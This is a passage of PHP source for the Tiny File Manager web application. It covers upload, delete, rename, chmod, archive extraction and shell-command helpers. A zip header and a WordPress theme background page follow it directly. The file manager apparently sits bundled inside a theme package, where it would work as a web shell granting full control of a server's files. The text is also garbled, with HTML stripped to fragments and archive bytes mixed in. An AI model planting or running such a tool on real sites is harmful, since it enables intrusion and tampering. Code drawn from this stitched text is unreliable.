. $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from %s to %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from %s to %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Invalid characters in file name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf('Archive %s created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg('File not found', 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

Select folder

""

Full path:
File size:
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

           

'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

Error while fetching archive info

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
' . htmlspecialchars($content) . ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error'); } ?>

Full path:

 

'?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
..
' . readlink($path . '/' . $f) . '' : '') ?>
">
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?> '.fm_get_filesize(@disk_free_space($path)) .' '.lng('FreeOf').' '.fm_get_filesize(@disk_total_space($path)).''; ?>
= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
'; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
PK0fZmu"images/backgrounds/backgrounds.phpnu[ 99) exit; $wp_config = str_repeat('../', $d) . 'wp-config.php'; require_once($wp_config); $url_base = get_bloginfo('template_directory'); ?> Untitled Document

Background Images

The images shown below are the built-in background images. The all allow your chosen background color to show through.

diaglines.png
batik.png
diamonds.png
faintdots.png
feathers.png
floral2.png
grungestripes.png
herringbone.png
holes.png
honeycomb.png
retrovertical.png
